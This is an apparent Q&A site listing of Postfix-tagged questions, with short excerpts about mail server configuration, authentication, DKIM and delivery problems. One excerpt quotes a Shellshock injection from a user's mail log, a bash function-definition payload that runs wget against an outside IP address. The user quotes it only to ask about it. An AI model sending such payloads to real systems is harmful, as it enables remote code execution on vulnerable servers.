Open source email server for Unix

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Running both sendmail and postfix on Ubuntu

I have a requirement to use both Sendmail (MTA) and Postfix on a mailserver. This is because many of the legacy sendmail.mc rules cannot be migrated to postfix and provide high performance. So I ...
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1k views

Postfix cannot resolve local IPs from Name Server

I currently have a server running "Ubuntu Server 12.04.1 LTS" installed with Postfix Bind 9 (Slave) The postfix cannot seem to resolve my internal IPs to Name Server (PTR) entry I have within ...
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32 views

Need help with Postfix canonical mapping

I’m having difficulty getting the canonical_maps function to work as needed to repair some incorrect addresses from a legacy client. Here’s the situation and what I’ve tried so far: Legacy client ...
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71 views

Corrupt PostFix Installv

I accidently removed some files that postfix needs and now it will not install or uninstall have tried: sudo apt-get purge postfix sudo apt-get remove postfix sudo apt-get upgrade sudo apt-get ...
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35 views

Configuring sendmail for several domain names

So here's the problem: I have a webserver that's currently serving quite a number of different domain names as virtual hosts for apache. Lets say the default domain is defaultdomain.com When I use ...
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107 views

No login possible with postfix/dovecot and mysql under IMAP

I did the following installation of my own mailserver with dovecot/postfix and MySQL: https://thomas-leister.de/internet/mailserver-ubuntu-server-dovecot-postfix-mysql/ If you see the section of ...
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77 views

Postfix and Ownclound mysql authentication

i'm using ubuntu 12.04 with roundcube/postfix and owncloud installed, and using mysql as login authentication. i would like to know if it's possible to make single login for these apps (without LDAP) ...
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130 views

SMTP mail server with postfix/dovecot does not require authentication

I have a mail server with postfix and dovecot with which I'm able to receive mail at my email address. When I'm connecting from a remote mail client via POP3 it is saying authentication failed even ...
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83 views

How to set 'reply-to' to sender's address when using forward

I am using postfix with virtual mailboxes (mysql), and I successfully setup a "mailing list" by creating a forward that sends copies of a given e-mail to multiple recipients. Now, when the e-mail is ...
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500 views

Postfix/SSL/Dovecote - can't send email

I know this looks similar to other questions on this forum, but they don't seem to be the same core problem as the one I'm experiencing. I'm running Ubunto 14.04 LTS, and I have postfix, dovecote ...
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224 views

Simple Linux mailserver for sending “notification” emails

I am looking to set up a simple postfix server on Ubuntu server 12.04 to use for "notifications" from simple equipment like UPS devices. My company is moving to an external hosted provider for our ...
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255 views

12.04 Opendkim no key found

Setup Postfix and Dovecot with OpenDKIM. I am not getting key found. Below are the postconf and opendkim file configs. postconf -n root@mysite:~# postconf -n alias_database = hash:/etc/aliases ...
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18 views

Ubuntu with postfix and virtual users

I have ubuntu server with postfix, dovecot and virtual users. Now I am tring to filter mails with procmail, but the rules on procmailrc are not working. Anybody have some steps to do work the mail ...
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2k views

SASL authentication failure: Password verification failed SASL+PAM

I'm banging my head over this for past 4 hours, and I cannot crack it! Google turns out allot of issues related to SASL authentication failure: Password verification failed but none helped. ...
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2k views

How do I use postfix to send outgoing email?

I am trying to set up postfix as an outgoing mail server for my domain. Mainly I need postfix to run as a server to simply send outgoing mail for some CMS software on the site (e.g.: user ...
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66 views

Installing and maintaining email server

Until now, I've been using managed shared hosting, but recently I've been seriously considering moving everything to a VPS, such as Linode. The one thing that has me really hesitating is that I must ...
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76 views

How to disable automated system alert mails in my box?

System generates automatically system alert emails to root or username1 bla bla. How can i completely disable such email alerts without stopping MTA (postfix etc). EDIT: Step 1: $ cat ...
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151 views

Setting up Postfix with Apache Virtual Hosts?

So, I was trying to setup multiple Apache Virtual Hosts. Everything was O.K, LAMP worked fine except for one and big problem: Postfix. I have two domains. And two PHP/MySQL applications running on ...
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509 views

How to make simple system user authentication work with postfix/dovecot on 12.10?

I have been wrestling on this a LOT. I never properly understood but I presume that authentication by the system users is done with PAM and the default authentication method for both Dovecot and ...
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1k views

Postfix mail for mydomain.com loops back to myself Problem

I'm using vps server with ubuntu 10.04 when i send email to Gmail it's ok but for Hotmail fails, i check my logs i find this: Mar 19 18:09:01 mail postfix/smtp[6340]: 8FAF722294: ...
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452 views

Postfix master.lock: permission denied

I'm triyng setup the postfix, but with no success. I am using webmin to configure. my problem is that postfix won't start, always with the same message: Mar 19 19:21:13 site ...
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255 views

How do I forward a email to gmail using virtual_mailbox_maps with postfix and dovecot?

I have a maio server set up with postfix a dovecot and I user virtual_mailbox_maps to handle multiple domain email addresses. I want to be able to forward some of these emails to a gmail account. My ...
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119 views

.lock file not getting removed when starting cyrys

When ever i trid to restart cyrus-imap service its showing lock files of the users. root@mail3:~# /etc/init.d/cyrus-imapd restart * Restarting Cyrus IMAPd cyrmaster ...
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121 views

High-performance mail transport agent6 postfix install failure

Continual install failure of -- High-performance mail transport agent6 postfix(Size: 1.3MB)--- I believe this is also affecting my ability to stay connected to my mail accounts. How do I fix this? ...
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17 views

i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot

i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot i am using pop3 port 110 and smtp port 587 i can send emails to external emails i can receive emails on the server ...
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71 views

DKIM config for multidomain : message not signed

I’m trying to setup DKIM for a multidomain server. Everything looks fine BUT the messages are not signed. I followed How To Install and Configure DKIM with Postfix on Debian Wheezy tutorial and ...
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21 views

Dovecot stuck in stop/waiting

im trying to build a mail server (postfix + dovecot). after the installation, tried to check if dovecot is working by : service dovecot status: start/prestart statement. the only thing i did was ...
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90 views

Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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13 views

Can postfix receive emails on it's own?

I am configuring a Postfix server right now and want to clear up some things I am not quite sure about. For what I know Postfix is a MTA (Mail Transfer Agent) that can send and receive emails. That ...
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14 views

Dovecot mail delivery location issue

I just setup a mail server on my digitalocean.com droplet. It is using postfix, dovecot & mbox. I have it configured in gmail and it is sending and receiving. The problem though, is that when a ...
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36 views

Postfix - Cannot receive emails

I'm trying with no success to setup Postfix on my server so I need some help (first timer here). Basically I cannot receive emails from anywhere. If I send an email to myself or to another address ...
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19 views

Postfix has stopped logging

After hearing about the BASH bug a week ago I decided to update my whole server using apt-get update && apt-get upgrade Today I have noticed that postfix has stopped logging my mail ...
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55 views

Does someone have access to my server's postfix?

How can Google recieve emais originating from my servers IP address, unless an attacker has access? So how do I prevent an attacker from getting access? I'm very lost... short log from ...
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44 views

How to add a sender header to emails sent by postfix 2.11

I'm not getting a reply after sending a mail to [email protected] which I need to verify that my domain richtercloud.de served by a postfix 2.11 server on Ubuntu 14.04 can be used for ...
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25 views

Configure cron to include FQDN in email

We have machines named like so: serverA.subdomainA.TLD.co serverA.subdomainB.TLD.co Works fine for us, except when I get an email from cron, the messages looks like: From: [email protected] ...
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57 views

Postfix Joomla Mail Configuration

Hello I am trying to setup mail configuration for Joomla. My server has postfix/dovecot installed and working. (I can receive and send mails globally). I can send an e-mail successfully (I received ...
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92 views

Postfix does not store mail in Maildir/ format even though home_mailbox is set to Maildir/

The following problem occurs on a simple mail server for testing purposes. It consists of a Postfix and Dovecot installation and is meant to deliver mails from a client to local accounts living on the ...
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74 views

How to configure Postfix, stunnel for AWS SES?

I have been trying to set up SES on our EC2 running ubuntu. I have followed the instructions on their docs page but not able to figure out what's wrong. I'm a newbie that's why i'm looking for a ...
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66 views

Joomla with postfix php mail not working

I am getting this error in mail.log (after trying to submit a contact form): fatal: Recipient addresses must be specified on the command line or via the -t option Its worth mentioning that I have ...
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120 views

Ubuntu Zpanel Unable to receive e-mail

I am able to send e-mail from my zpanel mailboxes but am unable to receive any e-mails. I get this error from gmail when I try to send e-mail to my mailboxes: mail exchanger not found. My domain ...
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20 views

postfix sasl auth on Ubuntu server

I can connect to the mail server over telnet and send messages to local users without authentication. Is it the reject_unauth_destination parameter that permits this? What is the recommended practice ...
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54 views

Help by installing mail server with virtual host

04 and I find a lot of articles about installing mail server on Ubuntu but it is not working. Can you help me with some tutorial? I want to install and configure my own mail server with virtual users. ...
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175 views

mail delivery errors - ssmtp, mailutils, postfix

Afternoon everyone, I do not run a mail server. I am only trying to send an email with an attachment via a bash script. I have been working for the past couple of days to get this up and running. ...
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395 views

PHP mail not working on Ubuntu server

I have set up a development server using Ubuntu Server. I have configured postfix to send mail and I am able to send mail through the command line using for example: echo testing | mail -s Bla ...
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23 views

Postfix/Dovecot issue

I installed Postfix/Dovecot locally on Ubuntu server, I can mail from Ubuntu server to any user in my local users database (/etc/passwd) and I can receive messages well (by using mail command). On MUA ...
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534 views

Postfix - Unable to connect to remote host: Connection refused

I am running this command: telnet 87.106.xxx.xxx 25 And it says Trying 87.106.xxx.xxx... telnet: Unable to connect to remote host: Connection refused But telnet localhost is running properly. ...
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17 views

POP3 Access to a Postfix based email system using Courier

I am trying to use courier-pop so I can access my email from 3rd party email clients such as Gmail that rely on pop3 based methods. I am recieving connection timeout errors trying to connect to my ...
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24 views

What is the difference between postfix and mailsutils?

I am attempting to set up an AWS EC2 with a simple mailing service for my crontab. And I have postfix set up, but when I used the "mail" command it did not work. So I installed mailutils as ubuntu ...
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195 views

Fresh install of Postfix can send mail but not receive it. Which setting to tweak to receive mail?

My server is a VPS; I'm the only user on it. Although I'd eventually like to have multiple emails for my multiple domains, today I'd be happy to be able to receive mail on just one. Could someone ...
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152 views

How to integrate postfix/dovecote with Windows AD

I have postfix/dovecote Ubuntu server and it's working fine, also I have Active Directory Windows 2008, I want to make email clients to get authenticated from windows AD and automatically create ...